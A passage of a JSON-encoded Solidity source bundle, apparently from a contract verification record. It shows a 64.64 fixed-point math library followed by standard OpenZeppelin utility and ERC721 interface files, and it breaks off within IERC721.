1;\n\n uint256 absX = uint128 (x < 0 ? -x : x);\n uint256 absResult;\n absResult = 0x100000000000000000000000000000000;\n\n if (absX <= 0x10000000000000000) {\n absX <<= 63;\n while (y != 0) {\n if (y & 0x1 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x2 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x4 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x8 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n y >>= 4;\n }\n\n absResult >>= 64;\n } else {\n uint256 absXShift = 63;\n if (absX < 0x1000000000000000000000000) { absX <<= 32; absXShift -= 32; }\n if (absX < 0x10000000000000000000000000000) { absX <<= 16; absXShift -= 16; }\n if (absX < 0x1000000000000000000000000000000) { absX <<= 8; absXShift -= 8; }\n if (absX < 0x10000000000000000000000000000000) { absX <<= 4; absXShift -= 4; }\n if (absX < 0x40000000000000000000000000000000) { absX <<= 2; absXShift -= 2; }\n if (absX < 0x80000000000000000000000000000000) { absX <<= 1; absXShift -= 1; }\n\n uint256 resultShift = 0;\n while (y != 0) {\n require (absXShift < 64);\n\n if (y & 0x1 != 0) {\n absResult = absResult * absX >> 127;\n resultShift += absXShift;\n if (absResult > 0x100000000000000000000000000000000) {\n absResult >>= 1;\n resultShift += 1;\n }\n }\n absX = absX * absX >> 127;\n absXShift <<= 1;\n if (absX >= 0x100000000000000000000000000000000) {\n absX >>= 1;\n absXShift += 1;\n }\n\n y >>= 1;\n }\n\n require (resultShift < 64);\n absResult >>= 64 - resultShift;\n }\n int256 result = negative ? -int256 (absResult) : int256 (absResult);\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate sqrt (x) rounding down. Revert if x < 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function sqrt (int128 x) internal pure returns (int128) {\n unchecked {\n require (x >= 0);\n return int128 (sqrtu (uint256 (int256 (x)) << 64));\n }\n }\n\n /**\n * Calculate binary logarithm of x. Revert if x <= 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function log_2 (int128 x) internal pure returns (int128) {\n unchecked {\n require (x > 0);\n\n int256 msb = 0;\n int256 xc = x;\n if (xc >= 0x10000000000000000) { xc >>= 64; msb += 64; }\n if (xc >= 0x100000000) { xc >>= 32; msb += 32; }\n if (xc >= 0x10000) { xc >>= 16; msb += 16; }\n if (xc >= 0x100) { xc >>= 8; msb += 8; }\n if (xc >= 0x10) { xc >>= 4; msb += 4; }\n if (xc >= 0x4) { xc >>= 2; msb += 2; }\n if (xc >= 0x2) msb += 1; // No need to shift xc anymore\n\n int256 result = msb - 64 << 64;\n uint256 ux = uint256 (int256 (x)) << uint256 (127 - msb);\n for (int256 bit = 0x8000000000000000; bit > 0; bit >>= 1) {\n ux *= ux;\n uint256 b = ux >> 255;\n ux >>= 127 + b;\n result += bit * int256 (b);\n }\n\n return int128 (result);\n }\n }\n\n /**\n * Calculate natural logarithm of x. Revert if x <= 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function ln (int128 x) internal pure returns (int128) {\n unchecked {\n require (x > 0);\n\n return int128 (int256 (\n uint256 (int256 (log_2 (x))) * 0xB17217F7D1CF79ABC9E3B39803F2F6AF >> 128));\n }\n }\n\n /**\n * Calculate binary exponent of x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function exp_2 (int128 x) internal pure returns (int128) {\n unchecked {\n require (x < 0x400000000000000000); // Overflow\n\n if (x < -0x400000000000000000) return 0; // Underflow\n\n uint256 result = 0x80000000000000000000000000000000;\n\n if (x & 0x8000000000000000 > 0)\n result = result * 0x16A09E667F3BCC908B2FB1366EA957D3E >> 128;\n if (x & 0x4000000000000000 > 0)\n result = result * 0x1306FE0A31B7152DE8D5A46305C85EDEC >> 128;\n if (x & 0x2000000000000000 > 0)\n result = result * 0x1172B83C7D517ADCDF7C8C50EB14A791F >> 128;\n if (x & 0x1000000000000000 > 0)\n result = result * 0x10B5586CF9890F6298B92B71842A98363 >> 128;\n if (x & 0x800000000000000 > 0)\n result = result * 0x1059B0D31585743AE7C548EB68CA417FD >> 128;\n if (x & 0x400000000000000 > 0)\n result = result * 0x102C9A3E778060EE6F7CACA4F7A29BDE8 >> 128;\n if (x & 0x200000000000000 > 0)\n result = result * 0x10163DA9FB33356D84A66AE336DCDFA3F >> 128;\n if (x & 0x100000000000000 > 0)\n result = result * 0x100B1AFA5ABCBED6129AB13EC11DC9543 >> 128;\n if (x & 0x80000000000000 > 0)\n result = result * 0x10058C86DA1C09EA1FF19D294CF2F679B >> 128;\n if (x & 0x40000000000000 > 0)\n result = result * 0x1002C605E2E8CEC506D21BFC89A23A00F >> 128;\n if (x & 0x20000000000000 > 0)\n result = result * 0x100162F3904051FA128BCA9C55C31E5DF >> 128;\n if (x & 0x10000000000000 > 0)\n result = result * 0x1000B175EFFDC76BA38E31671CA939725 >> 128;\n if (x & 0x8000000000000 > 0)\n result = result * 0x100058BA01FB9F96D6CACD4B180917C3D >> 128;\n if (x & 0x4000000000000 > 0)\n result = result * 0x10002C5CC37DA9491D0985C348C68E7B3 >> 128;\n if (x & 0x2000000000000 > 0)\n result = result * 0x1000162E525EE054754457D5995292026 >> 128;\n if (x & 0x1000000000000 > 0)\n result = result * 0x10000B17255775C040618BF4A4ADE83FC >> 128;\n if (x & 0x800000000000 > 0)\n result = result * 0x1000058B91B5BC9AE2EED81E9B7D4CFAB >> 128;\n if (x & 0x400000000000 > 0)\n result = result * 0x100002C5C89D5EC6CA4D7C8ACC017B7C9 >> 128;\n if (x & 0x200000000000 > 0)\n result = result * 0x10000162E43F4F831060E02D839A9D16D >> 128;\n if (x & 0x100000000000 > 0)\n result = result * 0x100000B1721BCFC99D9F890EA06911763 >> 128;\n if (x & 0x80000000000 > 0)\n result = result * 0x10000058B90CF1E6D97F9CA14DBCC1628 >> 128;\n if (x & 0x40000000000 > 0)\n result = result * 0x1000002C5C863B73F016468F6BAC5CA2B >> 128;\n if (x & 0x20000000000 > 0)\n result = result * 0x100000162E430E5A18F6119E3C02282A5 >> 128;\n if (x & 0x10000000000 > 0)\n result = result * 0x1000000B1721835514B86E6D96EFD1BFE >> 128;\n if (x & 0x8000000000 > 0)\n result = result * 0x100000058B90C0B48C6BE5DF846C5B2EF >> 128;\n if (x & 0x4000000000 > 0)\n result = result * 0x10000002C5C8601CC6B9E94213C72737A >> 128;\n if (x & 0x2000000000 > 0)\n result = result * 0x1000000162E42FFF037DF38AA2B219F06 >> 128;\n if (x & 0x1000000000 > 0)\n result = result * 0x10000000B17217FBA9C739AA5819F44F9 >> 128;\n if (x & 0x800000000 > 0)\n result = result * 0x1000000058B90BFCDEE5ACD3C1CEDC823 >> 128;\n if (x & 0x400000000 > 0)\n result = result * 0x100000002C5C85FE31F35A6A30DA1BE50 >> 128;\n if (x & 0x200000000 > 0)\n result = result * 0x10000000162E42FF0999CE3541B9FFFCF >> 128;\n if (x & 0x100000000 > 0)\n result = result * 0x100000000B17217F80F4EF5AADDA45554 >> 128;\n if (x & 0x80000000 > 0)\n result = result * 0x10000000058B90BFBF8479BD5A81B51AD >> 128;\n if (x & 0x40000000 > 0)\n result = result * 0x1000000002C5C85FDF84BD62AE30A74CC >> 128;\n if (x & 0x20000000 > 0)\n result = result * 0x100000000162E42FEFB2FED257559BDAA >> 128;\n if (x & 0x10000000 > 0)\n result = result * 0x1000000000B17217F7D5A7716BBA4A9AE >> 128;\n if (x & 0x8000000 > 0)\n result = result * 0x100000000058B90BFBE9DDBAC5E109CCE >> 128;\n if (x & 0x4000000 > 0)\n result = result * 0x10000000002C5C85FDF4B15DE6F17EB0D >> 128;\n if (x & 0x2000000 > 0)\n result = result * 0x1000000000162E42FEFA494F1478FDE05 >> 128;\n if (x & 0x1000000 > 0)\n result = result * 0x10000000000B17217F7D20CF927C8E94C >> 128;\n if (x & 0x800000 > 0)\n result = result * 0x1000000000058B90BFBE8F71CB4E4B33D >> 128;\n if (x & 0x400000 > 0)\n result = result * 0x100000000002C5C85FDF477B662B26945 >> 128;\n if (x & 0x200000 > 0)\n result = result * 0x10000000000162E42FEFA3AE53369388C >> 128;\n if (x & 0x100000 > 0)\n result = result * 0x100000000000B17217F7D1D351A389D40 >> 128;\n if (x & 0x80000 > 0)\n result = result * 0x10000000000058B90BFBE8E8B2D3D4EDE >> 128;\n if (x & 0x40000 > 0)\n result = result * 0x1000000000002C5C85FDF4741BEA6E77E >> 128;\n if (x & 0x20000 > 0)\n result = result * 0x100000000000162E42FEFA39FE95583C2 >> 128;\n if (x & 0x10000 > 0)\n result = result * 0x1000000000000B17217F7D1CFB72B45E1 >> 128;\n if (x & 0x8000 > 0)\n result = result * 0x100000000000058B90BFBE8E7CC35C3F0 >> 128;\n if (x & 0x4000 > 0)\n result = result * 0x10000000000002C5C85FDF473E242EA38 >> 128;\n if (x & 0x2000 > 0)\n result = result * 0x1000000000000162E42FEFA39F02B772C >> 128;\n if (x & 0x1000 > 0)\n result = result * 0x10000000000000B17217F7D1CF7D83C1A >> 128;\n if (x & 0x800 > 0)\n result = result * 0x1000000000000058B90BFBE8E7BDCBE2E >> 128;\n if (x & 0x400 > 0)\n result = result * 0x100000000000002C5C85FDF473DEA871F >> 128;\n if (x & 0x200 > 0)\n result = result * 0x10000000000000162E42FEFA39EF44D91 >> 128;\n if (x & 0x100 > 0)\n result = result * 0x100000000000000B17217F7D1CF79E949 >> 128;\n if (x & 0x80 > 0)\n result = result * 0x10000000000000058B90BFBE8E7BCE544 >> 128;\n if (x & 0x40 > 0)\n result = result * 0x1000000000000002C5C85FDF473DE6ECA >> 128;\n if (x & 0x20 > 0)\n result = result * 0x100000000000000162E42FEFA39EF366F >> 128;\n if (x & 0x10 > 0)\n result = result * 0x1000000000000000B17217F7D1CF79AFA >> 128;\n if (x & 0x8 > 0)\n result = result * 0x100000000000000058B90BFBE8E7BCD6D >> 128;\n if (x & 0x4 > 0)\n result = result * 0x10000000000000002C5C85FDF473DE6B2 >> 128;\n if (x & 0x2 > 0)\n result = result * 0x1000000000000000162E42FEFA39EF358 >> 128;\n if (x & 0x1 > 0)\n result = result * 0x10000000000000000B17217F7D1CF79AB >> 128;\n\n result >>= uint256 (int256 (63 - (x >> 64)));\n require (result <= uint256 (int256 (MAX_64x64)));\n\n return int128 (int256 (result));\n }\n }\n\n /**\n * Calculate natural exponent of x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function exp (int128 x) internal pure returns (int128) {\n unchecked {\n require (x < 0x400000000000000000); // Overflow\n\n if (x < -0x400000000000000000) return 0; // Underflow\n\n return exp_2 (\n int128 (int256 (x) * 0x171547652B82FE1777D0FFDA0D23A7D12 >> 128));\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are unsigned 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x unsigned 256-bit integer number\n * @param y unsigned 256-bit integer number\n * @return unsigned 64.64-bit fixed point number\n */\n function divuu (uint256 x, uint256 y) private pure returns (uint128) {\n unchecked {\n require (y != 0);\n\n uint256 result;\n\n if (x <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)\n result = (x << 64) / y;\n else {\n uint256 msb = 192;\n uint256 xc = x >> 192;\n if (xc >= 0x100000000) { xc >>= 32; msb += 32; }\n if (xc >= 0x10000) { xc >>= 16; msb += 16; }\n if (xc >= 0x100) { xc >>= 8; msb += 8; }\n if (xc >= 0x10) { xc >>= 4; msb += 4; }\n if (xc >= 0x4) { xc >>= 2; msb += 2; }\n if (xc >= 0x2) msb += 1; // No need to shift xc anymore\n\n result = (x << 255 - msb) / ((y - 1 >> msb - 191) + 1);\n require (result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n\n uint256 hi = result * (y >> 128);\n uint256 lo = result * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n\n uint256 xh = x >> 192;\n uint256 xl = x << 64;\n\n if (xl < lo) xh -= 1;\n xl -= lo; // We rely on overflow behavior here\n lo = hi << 128;\n if (xl < lo) xh -= 1;\n xl -= lo; // We rely on overflow behavior here\n\n assert (xh == hi >> 128);\n\n result += xl / y;\n }\n\n require (result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return uint128 (result);\n }\n }\n\n /**\n * Calculate sqrt (x) rounding down, where x is unsigned 256-bit integer\n * number.\n *\n * @param x unsigned 256-bit integer number\n * @return unsigned 128-bit integer number\n */\n function sqrtu (uint256 x) private pure returns (uint128) {\n unchecked {\n if (x == 0) return 0;\n else {\n uint256 xx = x;\n uint256 r = 1;\n if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; }\n if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; }\n if (xx >= 0x100000000) { xx >>= 32; r <<= 16; }\n if (xx >= 0x10000) { xx >>= 16; r <<= 8; }\n if (xx >= 0x100) { xx >>= 8; r <<= 4; }\n if (xx >= 0x10) { xx >>= 4; r <<= 2; }\n if (xx >= 0x4) { r <<= 1; }\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1; // Seven iterations should be enough\n uint256 r1 = x / r;\n return uint128 (r < r1 ? r : r1);\n }\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/introspection/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts/utils/introspection/ERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC165.sol\";\n\n/**\n * @dev Implementation of the {IERC165} interface.\n *\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\n * for the additional interface id that will be supported. For example:\n *\n * ```solidity\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\n * }\n * ```\n *\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\n */\nabstract contract ERC165 is IERC165 {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n return interfaceId == type(IERC165).interfaceId;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Strings.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Strings.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev String operations.\n */\nlibrary Strings {\n bytes16 private constant _HEX_SYMBOLS = \"0123456789abcdef\";\n uint8 private constant _ADDRESS_LENGTH = 20;\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n */\n function toString(uint256 value) internal pure returns (string memory) {\n // Inspired by OraclizeAPI's implementation - MIT licence\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\n\n if (value == 0) {\n return \"0\";\n }\n uint256 temp = value;\n uint256 digits;\n while (temp != 0) {\n digits++;\n temp /= 10;\n }\n bytes memory buffer = new bytes(digits);\n while (value != 0) {\n digits -= 1;\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n value /= 10;\n }\n return string(buffer);\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\n */\n function toHexString(uint256 value) internal pure returns (string memory) {\n if (value == 0) {\n return \"0x00\";\n }\n uint256 temp = value;\n uint256 length = 0;\n while (temp != 0) {\n length++;\n temp >>= 8;\n }\n return toHexString(value, length);\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\n */\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\n bytes memory buffer = new bytes(2 * length + 2);\n buffer[0] = \"0\";\n buffer[1] = \"x\";\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = _HEX_SYMBOLS[value & 0xf];\n value >>= 4;\n }\n require(value == 0, \"Strings: hex length insufficient\");\n return string(buffer);\n }\n\n /**\n * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal representation.\n */\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);\n }\n}\n"
},
"@openzeppelin/contracts/utils/Context.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Base64.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Base64.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Provides a set of functions to operate with Base64 strings.\n *\n * _Available since v4.5._\n */\nlibrary Base64 {\n /**\n * @dev Base64 Encoding/Decoding Table\n */\n string internal constant _TABLE = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\n\n /**\n * @dev Converts a `bytes` to its Bytes64 `string` representation.\n */\n function encode(bytes memory data) internal pure returns (string memory) {\n /**\n * Inspired by Brecht Devos (Brechtpd) implementation - MIT licence\n * https://github.com/Brechtpd/base64/blob/e78d9fd951e7b0977ddca77d92dc85183770daf4/base64.sol\n */\n if (data.length == 0) return \"\";\n\n // Loads the table into memory\n string memory table = _TABLE;\n\n // Encoding takes 3 bytes chunks of binary data from `bytes` data parameter\n // and split into 4 numbers of 6 bits.\n // The final Base64 length should be `bytes` data length multiplied by 4/3 rounded up\n // - `data.length + 2` -> Round up\n // - `/ 3` -> Number of 3-bytes chunks\n // - `4 *` -> 4 characters for each chunk\n string memory result = new string(4 * ((data.length + 2) / 3));\n\n /// @solidity memory-safe-assembly\n assembly {\n // Prepare the lookup table (skip the first \"length\" byte)\n let tablePtr := add(table, 1)\n\n // Prepare result pointer, jump over length\n let resultPtr := add(result, 32)\n\n // Run over the input, 3 bytes at a time\n for {\n let dataPtr := data\n let endPtr := add(data, mload(data))\n } lt(dataPtr, endPtr) {\n\n } {\n // Advance 3 bytes\n dataPtr := add(dataPtr, 3)\n let input := mload(dataPtr)\n\n // To write each character, shift the 3 bytes (18 bits) chunk\n // 4 times in blocks of 6 bits for each character (18, 12, 6, 0)\n // and apply logical AND with 0x3F which is the number of\n // the previous character in the ASCII table prior to the Base64 Table\n // The result is then added to the table to get the character to write,\n // and finally write it in the result pointer but with a left shift\n // of 256 (1 byte) - 8 (1 ASCII char) = 248 bits\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(18, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(12, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(6, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(input, 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n }\n\n // When data `bytes` is not exactly 3 bytes long\n // it is padded with `=` characters at the end\n switch mod(mload(data), 3)\n case 1 {\n mstore8(sub(resultPtr, 1), 0x3d)\n mstore8(sub(resultPtr, 2), 0x3d)\n }\n case 2 {\n mstore8(sub(resultPtr, 1), 0x3d)\n }\n }\n\n return result;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Address.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(isContract(target), \"Address: delegate call to non-contract\");\n\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n"
},
"@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC721.sol\";\n\n/**\n * @title ERC-721 Non-Fungible Token Standard, optional metadata extension\n * @dev See https://eips.ethereum.org/EIPS/eip-721\n */\ninterface IERC721Metadata is IERC721 {\n /**\n * @dev Returns the token collection name.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the token collection symbol.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.\n */\n function tokenURI(uint256 tokenId) external view returns (string memory);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @title ERC721 token receiver interface\n * @dev Interface for any contract that wants to support safeTransfers\n * from ERC721 asset contracts.\n */\ninterface IERC721Receiver {\n /**\n * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}\n * by `operator` from `from`, this function is called.\n *\n * It must return its Solidity selector to confirm the token transfer.\n * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.\n *\n * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.\n */\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC721/IERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC721 compliant contract.\n */\ninterface IERC721 is IERC165 {\n /**\n * @dev Emitted when `tokenId` token is transferred from `from` to `to`.\n */\n event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.\n */\n event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.\n */\n event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n /**\n * @dev Returns the number of tokens in ``owner``'s account.\n */\n function balanceOf(address owner) external view returns (uint256 balance);\n\n /**\n * @dev Returns the owner of the `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n 